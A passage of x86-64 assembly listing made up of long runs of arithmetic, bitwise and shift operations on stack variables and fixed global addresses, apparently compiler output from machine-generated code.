add rcx, rax
mov rax, rcx
mov qword [rsp + 0x87c8], rax
mov rax, qword [rsp + 0x9208]
movzx eax, byte [rax]
mov byte [0x1401cd78e], al
lea rax, [rsp + 0x1548]
mov qword [rsp + 0x9a40], rax
mov rax, qword [rsp + 0x9640]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x90b8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a18]
mov word [rcx], ax
movzx eax, word [rsp + 0x157c]
movzx ecx, word [rsp + 0x15d4]
add eax, ecx
mov word [rsp + 0x15f8], ax
lea rax, [rsp + 0x230]
mov qword [rsp + 0x9a48], rax
mov eax, dword [rsp + 0x4f14]
mov ecx, dword [rsp + 0x4828]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x95e0]
mov dword [rcx], eax
lea rax, [rsp + 0x4e90]
mov qword [rsp + 0x9a50], rax
mov rax, qword [rsp + 0x9438]
mov rcx, qword [rsp + 0x9418]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96c0]
mov qword [rsp + 0x9a58], rax
mov rax, qword [rsp + 0x9740]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15e4]
add eax, ecx
mov word [0x1401cc068], ax
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x210]
sub eax, ecx
mov rcx, qword [rsp + 0x8fa8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x22c]
mov rcx, qword [rsp + 0x9230]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9430]
mov byte [rcx], al
mov rax, qword [rsp + 0x9328]
movzx eax, word [rax]
mov word [rsp + 0x1634], ax
movsx eax, byte [rsp + 0x202]
mov rcx, qword [rsp + 0x96a0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1f2], al
mov rax, qword [rsp + 0x9360]
mov eax, dword [rax]
mov dword [rsp + 0x4fa0], eax
mov rax, qword [rsp + 0x91d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401cd710]
sar eax, cl
mov dword [rsp + 0x4ca4], eax
mov rax, qword [rsp + 0x94e8]
mov rcx, qword [rsp + 0x8ca0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8540], rax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov qword [rsp + 0x9a60], rax
mov rax, qword [rsp + 0x95a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9478]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401cc08c], ax
mov rax, qword [rsp + 0x90c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9080]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x94a8]
mov word [rcx], ax
lea rax, [rsp + 0x121c]
mov qword [rsp + 0x9a68], rax
movzx eax, byte [rsp + 0x1b1]
mov rcx, qword [rsp + 0x9190]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f3], al
mov rax, qword [rsp + 0x93c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
sub eax, ecx
mov rcx, qword [rsp + 0x98a8]
mov byte [rcx], al
lea rax, [rsp + 0x4f9c]
mov qword [rsp + 0x9a70], rax
mov rax, qword [rsp + 0x9510]
mov rcx, qword [rsp + 0x9238]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9a38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov qword [rsp + 0x9a78], rax
mov rax, qword [rsp + 0x9548]
mov rcx, qword [rsp + 0x9598]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f04], eax
movsx eax, word [rsp + 0x1464]
mov rcx, qword [rsp + 0x9950]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401cd828]
mov word [rcx], ax
movsx eax, word [rsp + 0x152c]
mov rcx, qword [rsp + 0x99a8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x91c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9640]
movzx eax, word [rax]
mov word [rsp + 0x1638], ax
mov rax, qword [rsp + 0x9358]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x91d8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x96e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8db0]
movzx eax, byte [rax]
mov byte [rsp + 0x231], al
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x9588]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9018]
mov qword [rcx], rax
mov rax, qword [rsp + 0x93a8]
mov eax, dword [rax]
mov dword [rsp + 0x4fa4], eax
mov eax, dword [rsp + 0x4e84]
movzx ecx, al
mov eax, dword [rsp + 0x4f6c]
shr eax, cl
mov rcx, qword [rsp + 0x94d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a38]
mov rcx, qword [rsp + 0x8e00]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8ca0], rax
movzx eax, word [rsp + 0x1580]
mov rcx, qword [rsp + 0x9740]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401cc090], ax
mov rax, qword [rsp + 0x9160]
movzx eax, byte [rax]
mov byte [rsp + 0x232], al
movsx eax, byte [rsp + 0x1e4]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov byte [rcx], al
lea rax, [rsp + 0x14e8]
mov qword [rsp + 0x9a80], rax
mov rax, qword [rsp + 0x8f80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9230]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ef0]
mov rcx, qword [rsp + 0x8e00]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9210], rax
mov rax, qword [rsp + 0x9720]
mov ecx, dword [rsp + 0x4f28]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4928], eax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0x92d0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x92c0]
mov qword [rcx], rax
lea rax, [rsp + 0x4ef8]
mov qword [rsp + 0x9a88], rax
mov rax, qword [rsp + 0x96e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x223]
add eax, ecx
mov byte [rsp + 0x228], al
mov rax, qword [rsp + 0x93d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1de]
add eax, ecx
mov byte [0x1401cd717], al
mov rax, qword [rsp + 0x9a18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1610]
add eax, ecx
mov word [rsp + 0x1638], ax
lea rax, [rsp + 0x14e8]
mov qword [rsp + 0x9a90], rax
mov rax, qword [0x1401cd880]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1628]
sub eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov word [rcx], ax
lea rax, [rsp + 0x4f48]
mov qword [rsp + 0x9a98], rax
mov rax, qword [rsp + 0x94c8]
mov ecx, dword [rsp + 0x4f3c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8f60]
mov dword [rcx], eax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov qword [rsp + 0x9aa0], rax
mov rax, qword [rsp + 0x9898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9388]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9500], rax
movzx eax, word [rsp + 0x15c0]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1588], ax
lea rax, [rsp + 0x1f0]
mov qword [0x1401cd8c8], rax
movzx eax, byte [rsp + 0x1ea]
mov byte [rsp + 0x233], al
movsx eax, byte [rsp + 0x1e6]
mov rcx, qword [rsp + 0x96b8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x94e0]
mov byte [rcx], al
lea rax, [0x1401cd78c]
mov qword [rsp + 0x9aa8], rax
mov rax, qword [rsp + 0x90d8]
mov rcx, qword [rsp + 0x92d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9a60], rax
mov rax, qword [rsp + 0x90f8]
mov rcx, qword [rsp + 0x9388]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x96e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96f0]
mov eax, dword [rax]
mov dword [rsp + 0x4fa8], eax
mov rax, qword [rsp + 0x9290]
mov ecx, dword [rsp + 0x4f2c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9800]
mov dword [rcx], eax
lea rax, [rsp + 0x1628]
mov qword [rsp + 0x9ab0], rax
movsx eax, word [rsp + 0x10f8]
movsx ecx, word [0x1401cd788]
sub eax, ecx
mov rcx, qword [0x1401cd880]
mov word [rcx], ax
mov rax, qword [rsp + 0x9630]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xca]
and eax, ecx
mov byte [rsp + 0x166], al
movzx eax, word [rsp + 0x1574]
movzx ecx, word [rsp + 0x15a4]
add eax, ecx
mov word [rsp + 0x1604], ax
mov rax, qword [rsp + 0x8f08]
movzx eax, word [rax]
mov word [rsp + 0x163c], ax
mov rax, qword [rsp + 0x97f8]
mov rcx, qword [rsp + 0x8fe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8fd0], rax
mov rax, qword [rsp + 0x9290]
mov eax, dword [rax]
mov dword [rsp + 0x4fac], eax
mov rax, qword [rsp + 0x9370]
mov rcx, qword [rsp + 0x8be8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x97b8], rax
mov rax, qword [rsp + 0x9598]
mov ecx, dword [rsp + 0x4e5c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x93f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x92a8]
movzx eax, byte [rax]
mov byte [rsp + 0x234], al
movzx eax, word [0x1401cc018]
mov word [0x1401cd8d0], ax
mov rax, qword [rsp + 0x9a80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x91c0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9850]
mov word [rcx], ax
lea rax, [rsp + 0x215]
mov qword [rsp + 0x9ab8], rax
movzx eax, byte [rsp + 0x225]
movzx ecx, byte [rsp + 0x228]
add eax, ecx
mov byte [rsp + 0x215], al
mov rax, qword [rsp + 0x9300]
movzx eax, byte [rax]
mov byte [rsp + 0x235], al
mov rax, qword [rsp + 0x9518]
mov ecx, dword [rsp + 0x4de8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ebc], eax
mov rax, qword [rsp + 0x8ae8]
mov rcx, qword [0x1401cc020]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9338], rax
lea rax, [rsp + 0x8be8]
mov qword [rsp + 0x9ac0], rax
mov rax, qword [rsp + 0x9988]
mov rcx, qword [rsp + 0x8f60]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x95e0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1500]
movzx ecx, word [rsp + 0x1508]
or eax, ecx
mov word [0x1401cc078], ax
mov rax, qword [rsp + 0x9608]
movzx eax, byte [rax]
mov byte [rsp + 0x236], al
movsx eax, word [rsp + 0x1548]
movsx ecx, word [rsp + 0x1618]
shl eax, cl
mov word [rsp + 0x14f4], ax
mov rax, qword [0x1401cd748]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x92a0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1e9], al
lea rax, [rsp + 0x218]
mov qword [rsp + 0x9ac8], rax
mov rax, qword [rsp + 0x9030]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d00]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9658]
mov dword [rcx], eax
lea rax, [rsp + 0x9a00]
mov qword [rsp + 0x9ad0], rax
mov rax, qword [rsp + 0x9738]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9510]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x95f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9120]
mov ecx, dword [rsp + 0x4ed0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f04], eax
lea rax, [rsp + 0x1564]
mov qword [0x1401cd8d8], rax
lea rax, [rsp + 0x1570]
mov qword [rsp + 0x9ad8], rax
mov rax, qword [rsp + 0x9430]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x215], al
mov rax, qword [rsp + 0x90c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1508]
sub eax, ecx
mov word [rsp + 0x100c], ax
movzx eax, word [rsp + 0x1604]
movzx ecx, word [rsp + 0x1638]
add eax, ecx
mov rcx, qword [rsp + 0x92e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f58]
mov qword [rsp + 0x9ae0], rax
mov rax, qword [rsp + 0x94c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f14], eax
mov rax, qword [rsp + 0x9600]
mov rcx, qword [rsp + 0x8f28]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9a00], rax
mov rax, qword [rsp + 0x91d0]
mov eax, dword [rax]
mov dword [rsp + 0x4fb0], eax
movzx eax, byte [0x1401cc036]
mov rcx, qword [rsp + 0x91d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401cd748]
mov byte [rcx], al
mov rax, qword [rsp + 0x9398]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15a4]
or eax, ecx
mov word [rsp + 0x14f8], ax
movzx eax, byte [rsp + 0xca]
mov byte [rsp + 0x237], al
mov rax, qword [0x1401cd730]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98a8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9940]
mov byte [rcx], al
movsx eax, word [rsp + 0x14c8]
cdq
mov ecx, 0x3300
idiv ecx
mov word [rsp + 0x1504], ax
mov rax, qword [rsp + 0x9588]
mov rax, qword [rax]
mov qword [rsp + 0x9ae8], rax
mov rax, qword [rsp + 0x84e0]
mov rcx, qword [rsp + 0x9390]
mov qword [rsp + 0x9af0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9af0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9390]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9278]
mov eax, dword [rax]
mov dword [rsp + 0x4fb4], eax
mov rax, qword [rsp + 0x97c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ee4]
sar eax, cl
mov rcx, qword [rsp + 0x9108]
mov dword [rcx], eax
movzx eax, word [rsp + 0x15c0]
movzx ecx, word [rsp + 0x1594]
and eax, ecx
mov word [0x1401cc094], ax
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [rsp + 0x1df]
sub eax, ecx
mov rcx, qword [rsp + 0x9810]
mov byte [rcx], al
movzx eax, word [0x1401cc034]
mov word [rsp + 0x1640], ax
mov rax, qword [rsp + 0x99f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9920]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9230]
mov byte [rcx], al
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0x238], al
mov rax, qword [rsp + 0x92f8]
mov rcx, qword [rsp + 0x8ca0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x94e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96f0]
mov ecx, dword [rsp + 0x4f04]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4eac], eax
mov rax, qword [rsp + 0x9a70]
mov eax, dword [rax]
mov dword [rsp + 0x4fb8], eax
mov rax, qword [rsp + 0x9948]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9428]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a28], rax
mov rax, qword [rsp + 0x9250]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x156c]
sub eax, ecx
mov word [0x1401cd7e8], ax
mov rax, qword [rsp + 0x9790]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9410]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x19b], al
movsx eax, byte [rsp + 0x22f]
mov rcx, qword [rsp + 0x9100]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9138]
mov byte [rcx], al
lea rax, [rsp + 0x1ef]
mov qword [rsp + 0x9af8], rax
movzx eax, word [rsp + 0x1588]
movzx ecx, word [0x1401cd8d0]
sub eax, ecx
mov word [rsp + 0x157c], ax
mov rax, qword [rsp + 0x9a38]
mov rcx, qword [rsp + 0x9420]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8fc0]
mov qword [rcx], rax
lea rax, [rsp + 0x9200]
mov qword [rsp + 0x9b00], rax
mov eax, dword [rsp + 0x4f34]
movzx ecx, al
mov eax, dword [rsp + 0x4eb8]
shl eax, cl
mov rcx, qword [rsp + 0x9468]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9360]
mov eax, dword [rax]
mov dword [rsp + 0x4fbc], eax
lea rax, [rsp + 0x1510]
mov qword [0x1401cd8e0], rax
movsx eax, byte [rsp + 0x218]
mov rcx, qword [0x1401cd758]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1fa]
movzx ecx, byte [rsp + 0x21e]
xor eax, ecx
mov rcx, qword [rsp + 0x9088]
mov byte [rcx], al
lea rax, [rsp + 0x15cc]
mov qword [rsp + 0x9b08], rax
movsx eax, word [rsp + 0x1554]
movsx ecx, word [0x1401cc088]
imul eax, ecx
mov word [rsp + 0x14d0], ax
mov eax, dword [rsp + 0x4e90]
mov dword [rsp + 0x4fc0], eax
mov rax, qword [rsp + 0x8dd8]
mov rcx, qword [rsp + 0x9580]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a58], rax
mov rax, qword [rsp + 0x9538]
mov rcx, qword [rsp + 0x9418]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9820]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9360]
mov eax, dword [rax]
mov dword [rsp + 0x4fc4], eax
mov rax, qword [rsp + 0x92f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9818]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc03e], al
movsx eax, word [rsp + 0x11f4]
mov rcx, qword [rsp + 0x8fe8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x95a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9a48]
movzx eax, byte [rax]
mov byte [rsp + 0x239], al
movzx eax, word [rsp + 0x1598]
movzx ecx, word [rsp + 0x15a8]
add eax, ecx
mov word [rsp + 0x1500], ax
movzx eax, word [rsp + 0x15d4]
mov rcx, qword [rsp + 0x90b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1518], ax
mov rax, qword [rsp + 0x9268]
mov eax, dword [rax]
mov dword [rsp + 0x4fc8], eax
mov rax, qword [rsp + 0x90f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ae0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f10]
mov qword [rcx], rax
mov rax, qword [0x1401cc020]
mov qword [rsp + 0x9b10], rax
mov rax, qword [rsp + 0x95e8]
mov ecx, dword [rsp + 0x4f7c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x93a0]
mov dword [rcx], eax
lea rax, [rsp + 0x236]
mov qword [rsp + 0x9b18], rax
mov rax, qword [rsp + 0x8fa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x206]
sub eax, ecx
mov rcx, qword [0x1401cd8c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9a18]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movsx eax, word [rsp + 0x15d0]
movsx ecx, word [rsp + 0x1640]
sar eax, cl
mov rcx, qword [rsp + 0x92c8]
mov word [rcx], ax
mov rax, qword [0x1401cd8c8]
movzx eax, byte [rax]
mov byte [rsp + 0x23a], al
mov rax, qword [rsp + 0x9738]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9480]
mov qword [rsp + 0x9b20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9b20]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9638]
mov qword [rcx], rax
lea rax, [rsp + 0x4f10]
mov qword [rsp + 0x9b28], rax
mov rax, qword [rsp + 0x96f8]
mov rcx, qword [rsp + 0x8c08]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9438], rax
mov rax, qword [rsp + 0x9548]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e7c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x91f0]
mov dword [rcx], eax
lea rax, [rsp + 0x1ec]
mov qword [rsp + 0x9b30], rax
movzx eax, word [0x1401cc06c]
mov rcx, qword [rsp + 0x8ed8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401cc098], ax
movsx eax, word [rsp + 0x14ec]
mov rcx, qword [rsp + 0x97a0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x92b8]
mov word [rcx], ax
movzx eax, word [rsp + 0x15b4]
mov word [rsp + 0x1644], ax
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [rsp + 0x206]
add eax, ecx
mov rcx, qword [rsp + 0x9300]
mov byte [rcx], al
mov rax, qword [rsp + 0x9168]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9990]
mov qword [rcx], rax
lea rax, [rsp + 0x8e20]
mov qword [rsp + 0x9b38], rax
mov rax, qword [rsp + 0x9a98]
mov ecx, dword [rsp + 0x4ee4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9860]
mov dword [rcx], eax
mov rax, qword [rsp + 0x92e0]
mov rcx, qword [rsp + 0x9988]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x486c], eax
mov rax, qword [rsp + 0x97e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14f4], ax
movzx eax, byte [rsp + 0x1eb]
mov byte [0x1401cd78f], al
mov rax, qword [rsp + 0x9398]
movzx eax, word [rax]
mov word [rsp + 0x1648], ax
mov rax, qword [rsp + 0x9508]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cc00b]
and eax, ecx
mov byte [rsp + 0x229], al
movsx eax, word [rsp + 0x15f4]
mov rcx, qword [rsp + 0x94f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15dc], ax
mov rax, qword [rsp + 0x9378]
mov eax, dword [rax]
mov dword [rsp + 0x4fcc], eax
mov rax, qword [rsp + 0x8100]
mov rcx, qword [rsp + 0x9700]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9078]
mov qword [rcx], rax
lea rax, [rsp + 0x8f58]
mov qword [rsp + 0x9b40], rax
mov rax, qword [rsp + 0x9698]
mov ecx, dword [rsp + 0x4e9c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4e8c], eax
movzx eax, word [rsp + 0x15e4]
mov rcx, qword [0x1401cd838]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x92e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x221]
mov rcx, qword [rsp + 0x9920]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x1401cd8a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x94e0]
movzx eax, byte [rax]
mov byte [rsp + 0x23b], al
mov rax, qword [rsp + 0x92b8]
movsx eax, word [rax]
mov rcx, qword [0x1401cd7f8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x92c8]
mov word [rcx], ax
lea rax, [rsp + 0x1ee]
mov qword [rsp + 0x9b48], rax
movzx eax, word [rsp + 0x1584]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0x8fe0]
mov rax, qword [rax]
mov rcx, qword [0x1401cc020]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0x96e8]
mov rax, qword [rax]
mov qword [rsp + 0x9b50], rax
mov rax, qword [rsp + 0x9768]
mov rcx, qword [rsp + 0x9270]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4828], eax
mov eax, dword [0x1401cd710]
mov dword [rsp + 0x4fd0], eax
lea rax, [rsp + 0x1620]
mov qword [0x1401cd8e8], rax
movsx eax, byte [rsp + 0x1fc]
movsx ecx, byte [rsp + 0x22b]
add eax, ecx
mov byte [rsp + 0x204], al
mov rax, qword [rsp + 0x9758]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cd78e]
add eax, ecx
mov rcx, qword [rsp + 0x9260]
mov byte [rcx], al
lea rax, [rsp + 0x14f8]
mov qword [rsp + 0x9b58], rax
mov rax, qword [rsp + 0x9178]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9508]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1dc], al
lea rax, [rsp + 0x8bd0]
mov qword [rsp + 0x9b60], rax
mov rax, qword [rsp + 0x9800]
mov rcx, qword [rsp + 0x8de0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8ff0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x97b8]
mov qword [rsp + 0x9b68], rax
mov eax, dword [rsp + 0x4d54]
mov ecx, dword [rsp + 0x4f68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f64], eax
mov rax, qword [rsp + 0x9628]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9488]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401cd880]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1b1]
movzx ecx, byte [rsp + 0x1e1]
shl eax, cl
mov byte [rsp + 0x224], al
mov rax, qword [rsp + 0x8c48]
movzx eax, byte [rax]
mov byte [rsp + 0x23c], al
movsx eax, word [rsp + 0x14dc]
movsx ecx, word [rsp + 0x14e0]
or eax, ecx
mov word [rsp + 0x1614], ax
mov rax, qword [rsp + 0x9a18]
movzx eax, word [rax]
mov word [rsp + 0x164c], ax
mov eax, dword [rsp + 0x4e60]
mov rcx, qword [rsp + 0x8c60]
mov qword [rsp + 0x9b70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9b70]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x90e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x96d0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ae8], rax
lea rax, [rsp + 0x4de8]
mov qword [rsp + 0x9b78], rax
mov rax, qword [rsp + 0x8f20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x86e8], rax
mov rax, qword [rsp + 0x97e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9790]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc03f], al
movzx eax, byte [rsp + 0x22c]
mov rcx, qword [rsp + 0x9af8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xd6], al
mov rax, qword [rsp + 0x99a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9488]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10f8], ax
movsx eax, byte [rsp + 0x1f6]
movsx ecx, byte [rsp + 0xe1]
add eax, ecx
mov rcx, qword [rsp + 0x94e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9a18]
movzx eax, word [rax]
mov word [rsp + 0x1650], ax
mov rax, qword [rsp + 0x9030]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b18]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9228]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9490]
mov rax, qword [rax]
mov qword [rsp + 0x9b80], rax
mov rax, qword [rsp + 0x9278]
mov rcx, qword [rsp + 0x8f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f10]
mov rax, qword [rax]
mov qword [rsp + 0x9b88], rax
mov rax, qword [rsp + 0x9340]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fc8]
